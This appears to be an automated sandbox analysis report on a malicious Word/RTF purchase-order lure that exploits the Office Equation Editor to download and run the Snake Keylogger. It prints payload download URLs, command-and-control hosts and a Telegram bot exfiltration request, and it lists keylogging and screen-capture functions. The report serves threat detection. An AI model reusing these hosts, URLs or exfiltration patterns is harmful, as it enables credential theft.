Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACB15 LoadLibraryW,URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACB15
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E2DECFB2-ADA4-4B5F-990B-FC73115868E7}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%209/26/2024%20/%206:20:30%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/XcsQpLjhNNvxYtrw.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic DNS traffic detected: DNS query: mail.jhxkgroup.online
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 26 Sep 2024 07:19:42 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.397922458.000000000029E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/XcsQpLjhNNvxYtrw.exe
Source: EQNEDT32.EXE, 00000002.00000002.397922458.000000000029E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/XcsQpLjhNNvxYtrw.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.397922458.000000000029E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/XcsQpLjhNNvxYtrw.exee
Source: EQNEDT32.EXE, 00000002.00000002.397922458.000000000029E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/XcsQpLjhNNvxYtrw.exej
Source: EQNEDT32.EXE, 00000002.00000002.397922458.000000000029E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/XcsQpLjhNNvxYtrw.exeuuC:
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/RapidSSLGlobalTLSRSA4096SHA2562022CA1.crt0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/RapidSSLGlobalTLSRSA4096SHA2562022CA1.crl0H
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/RapidSSLGlobalTLSRSA4096SHA2562022CA1.crl0
Source: hgqilegacy20306.exe, 00000008.00000002.916972860.0000000000FDD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe..0
Source: hgqilegacy20306.exe, 00000008.00000002.916972860.0000000000FDD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.c/D
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0Q
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: hgqilegacy20306.exe, 00000005.00000002.406450755.0000000002237000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B0B000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.918185531.0000000005B80000.00000004.00000020.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/CPS0
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002668000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: hgqilegacy20306.exe, 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002620000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: hgqilegacy20306.exe, 00000008.00000002.916829538.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: hgqilegacy20306.exe, 00000008.00000002.917824826.000000000365B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: hgqilegacy20306.exe, 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49179 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Creates a window with clipboard capturing capabilities
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: Thyssenkrupp PO040232.doc
Malicious sample detected (through community Yara rule)
Source: Thyssenkrupp PO040232.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\XcsQpLjhNNvxYtrw[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 77630000 page read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
